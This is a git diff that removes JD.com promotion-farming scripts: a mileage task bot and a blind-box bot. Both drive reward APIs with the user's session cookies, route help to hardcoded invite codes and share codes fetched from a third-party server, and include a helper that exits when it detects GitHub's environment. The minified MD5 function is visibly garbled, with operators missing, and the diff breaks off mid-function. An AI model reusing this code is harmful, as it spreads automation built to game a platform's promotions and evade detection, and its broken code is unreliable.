'WmpHM2pndWh3OFphS2NsbTRLMmhqZz09@M3ozUGw0eExUZ25hSHBTZ2pJcTdpZz09@S2tETnZ0REtONy9Dc2Nqek1KNXpmWHFTNnF3OUtQQjJKZmJ2YUtSS3BQTT0=@a1RrenU1WExQaXRWS3VIZHgwMjlUYzJSeHhVMDlvZXgxR2RsdkZkRXZnOD0=@bHNsOVFIL2tQRTJhSndpRVNHVTlheXJLbzZRK09HaUtidjJUUFNQRXdqbz0=@M0JxTFVEbmxtV05uQWJVQVdyL2NxeTcycG1lcWtEbzVOc283bjR2MklkWT0=', - 'a1RrenU1WExQaXRWS3VIZHgwMjlUYzJSeHhVMDlvZXgxR2RsdkZkRXZnOD0=@bHNsOVFIL2tQRTJhSndpRVNHVTlheXJLbzZRK09HaUtidjJUUFNQRXdqbz0=@WmpHM2pndWh3OFphS2NsbTRLMmhqZz09@M3ozUGw0eExUZ25hSHBTZ2pJcTdpZz09@S2tETnZ0REtONy9Dc2Nqek1KNXpmWHFTNnF3OUtQQjJKZmJ2YUtSS3BQTT0=', -]; -$.invites = []; -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat() - await jdGlobal() - } - } - -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdGlobal() { - try { - $.earn = 0 - $.score = 0 - $.beans = 0 - await getHome() - await getTask() - await getHome(true) - await helpFriends() - await showMsg() - } catch (e) { - $.logErr(e) - } -} - -async function helpFriends() { - $.canHelp = true - for (let code of $.newShareCodes) { - console.log(`去助力好友${code}`) - if (!code) continue - await helpFriend(code) - if(!$.canHelp) break - await $.wait(1000) - } -} - - -function showMsg() { - return new Promise(resolve => { - message += `本次运行获得${$.earn}里程,${$.beans}京豆,共计${$.score}里程` - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - resolve() - }) -} - -async function getHome(info = false) { - return new Promise(resolve => { - $.get(taskUrl("mainInfo", {"activityCode": actCode}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['code'] === '0') { - const {activityCalendar, activityStations} = data.result.data - if (info) { - $.earn = parseInt(data.result.data.mileageAmount) - $.score - let station = activityStations.filter(vo => vo.unlock === true) - for (let vo of station) { - let ids = [] - for (let bo of vo.rewards) { - if (bo['unlock'] && !bo['received']) { - if (/^[0-9]+.?[0-9]*$/.test(bo['couponPrice'])) { - $.beans += parseInt(bo['couponPrice']) - } - console.log(`去领取 ${/^[0-9]+.?[0-9]*$/.test(bo['couponPrice']) ? bo['couponPrice'] + '京豆' : bo['couponPrice']} 奖励`) - ids.push(bo['id']) - } - } - if (ids.length) { - await receiveReward({"stationId": vo['id'], "rewardIds": ids, "activityCode": actCode}) - await $.wait(1000) - } - } - } else { - console.log(`当前活动:第${activityCalendar.currDays}/${activityCalendar.totalDays}天`) - } - $.score = parseInt(data.result.data.mileageAmount) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function getTask() { - return new Promise(resolve => { - $.get(taskUrl("myTask", {"activityCode": actCode}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['code'] === '0') { - const {timeLimitTask, commonTask} = data.result.data - let task = [...timeLimitTask, ...commonTask] - for (let vo of task) { - if (vo['taskName'] === '每日邀请好友') { - // console.log(`您的好友助力码为 ${vo['jingCommand']['keyOpenapp'].match(/masterPin":"(.*)","/)[1]}`) - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${vo['jingCommand']['keyOpenapp'].match(/masterPin":"(.*)","/)[1]}\n`); - $.invites.push(vo['jingCommand']['keyOpenapp'].match(/masterPin":"(.*)","/)[1]); - } - if (['70', '50', '30', '40'].includes(vo['taskType'])) { - if (vo['executedTimes'] === vo['totalTimes']) { - console.log(`${vo['taskName']}任务已完成`) - } else { - console.log(`去做${vo['taskName']}任务`) - for (let i = vo['executedTimes']; i < vo['totalTimes']; ++i) { - await doTask({ - "taskId": vo['taskId'], - "itemId": vo['itemId'], - "viewSeconds": vo['viewSeconds'], - "activityCode": actCode, - "doType":`"${vo['taskType']}"`, - "client":"m", - "clientVersion":"-1", - "uuid":"-1", - "openudid":"-1" - }) - } - } - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function doTask(body) { - return new Promise(resolve => { - $.get(taskUrl("taskRun", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['code'] === '0') { - console.log(data['result']['message']) - - } else { - console.log(JSON.stringify(data)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function helpFriend(inviterPin) { - return new Promise(resolve => { - $.get(taskUrl("inviteHelp", { - "inviterPin": inviterPin, - "taskId": "51", - "pageType": "doHelp", - "headImg": "", - "username": "", - "activityCode": actCode - }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['code'] === '0') { - console.log(data['result']['message']) - if(data['result']['message']==='您今天的助力次数已达上限,明天再试试吧~') $.canHelp = false - } else { - console.log(JSON.stringify(data)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function receiveReward(body) { - return new Promise(resolve => { - $.get(taskUrl("receiveRewardVisa", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['code'] === '0') { - console.log(data['result']['message']) - - } else { - console.log(JSON.stringify(data)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({ - url: `http://jd.turinglabs.net/api/v2/jd/jdglobal/read/${randomCount}/`, - 'timeout': 10000 - }, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} - -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} - -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = [] - console.log(`共${cookiesArr.length}个京东账号\n`); - if ($.isNode() && process.env.JDGLOBAL_SHARECODES) { - if (process.env.JDGLOBAL_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JDGLOBAL_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JDGLOBAL_SHARECODES.split('&'); - } - } - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}PK助力码\n`); - resolve() - }) -} - -function taskUrl(function_id, body = {}) { - function getSign(data) { - let t = +new Date() - - return {sealsTs: t, seals: $.md5(`${data.taskId}${data.inviterPin?data.inviterPin:''}${t}Ea6YXT`)} - } - if(body['taskId']) { - body = {...body, ...getSign(body)} - } - return { - url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=global_mart&time=${new Date().getTime()}`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function taskPostUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_global_mh.js b/activity/jd_global_mh.js deleted file mode 100644 index fd97cdb..0000000 --- a/activity/jd_global_mh.js +++ /dev/null @@ -1,421 +0,0 @@ -/* -京东国际盲盒 -活动时间:2021-02-23至2021-03-31 -暂不加入品牌会员 -地址 https://gmart.jd.com/?appId=27260146 -活动入口:京东app首页浮动窗口 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东国际盲盒 -0 9,12,20,21 * * * jd_global_mh.js, tag=京东国际盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "0 9,12,20,21 * * *" script-path=jd_global_mh.js,tag=京东国际盲盒 - -===============Surge================= -京东国际盲盒 = type=cron,cronexp="0 9,12,20,21 * * *",wake-system=1,timeout=3600,script-path=jd_global_mh.js - -============小火箭========= -京东国际盲盒 = type=cron,script-path=jd_global_mh.js, cronexpr="0 9,12,20,21 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东国际盲盒'); -!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); - -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie - -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'lucky-box-001'; - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdGlobalMh() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdGlobalMh() { - try { - $.earn = 0 - $.score = 0 - $.beans = 0 - await getHome() - await getTask() - await getHome(true) - await showMsg() - } catch (e) { - $.logErr(e) - } -} - - -function showMsg() { - return new Promise(resolve => { - message += `本次运行获得${$.earn}碎片,${$.beans}京豆,共计${$.score}碎片` - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - resolve() - }) -} - -async function getHome(info = false) { - return new Promise(resolve => { - $.get(taskUrl("luckyBoxMainInfo", {"activityCode": actCode}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['code'] === '0') { - const {myLuckyBox, luckyBoxList, rewardBagList} = data.result.data - let beanBox = luckyBoxList.filter(vo => vo.boxMaterials.findIndex(bo => !!bo && bo.title === '京豆') > -1) - if (beanBox.length) { - beanBox = beanBox[0] - if (beanBox['orderNo'] !== '' && beanBox['openRecId'] !== '') { - console.log(`去打开盲盒`) - await openBox({ - "activityCode": actCode, - "orderNo": beanBox['orderNo'], - "openRecId": beanBox['openRecId'] - }) - } else { - if(parseInt(myLuckyBox.fragments)>=beanBox['boxFragments'] || data['result']['data']['isFirst']){ - console.log(`去购买盲盒`) - await buyBox({"buyType":20,"activityCode":actCode,"boxId":beanBox['boxId']}) - } - } - } - let bagList = rewardBagList.filter(vo=>!vo.isOpen&&vo.hasRightOpen) - for(let bag of bagList){ - console.log(`去打开${bag['id']}号福袋`) - await openBag({"activityCode":actCode,"id":bag['id']}) - } - if (info) { - $.earn = parseInt(myLuckyBox.fragments) - $.score - } - $.score = parseInt(myLuckyBox.fragments) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -async function openBag(body){ - return new Promise(resolve => { - $.get(taskUrl("receiveTaskRewardBag", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['code'] === '0') { - $.log(JSON.stringify(data.result.data)) - if(data['result']['data']['jingdouNums']){ - $.beans += parseInt(data['result']['data']['jingdouNums']) - console.log(`获得${data['result']['data']['jingdouNums']}京豆`) - } - } else { - console.log(JSON.stringify(data)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -async function getTask() { - return new Promise(resolve => { - $.get(taskUrl("myTask", {"activityCode": actCode}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['code'] === '0') { - const {timeLimitTask, commonTask} = data.result.data - let task = [...timeLimitTask, ...commonTask] - for (let vo of task) { - if (vo['taskName'] === '每日邀请好友') { - console.log(`您的好友助力码为 ${vo['jingCommand']['keyOpenapp'].match(/masterPin":"(.*)","/)[1]}`) - } - if (['70', '50', '30', '40'].includes(vo['taskType'])) { - if (vo['executedTimes'] === vo['totalTimes']) { - console.log(`${vo['taskName']}任务已完成`) - } else { - console.log(`去做${vo['taskName']}任务`) - for (let i = vo['executedTimes']; i < vo['totalTimes']; ++i) { - await doTask({ - "taskId": vo['taskId'], - "itemId": vo['itemId'], - "viewSeconds": vo['viewSeconds'], - "activityCode": actCode - }) - } - } - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function doTask(body) { - return new Promise(resolve => { - $.get(taskUrl("taskRun", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = 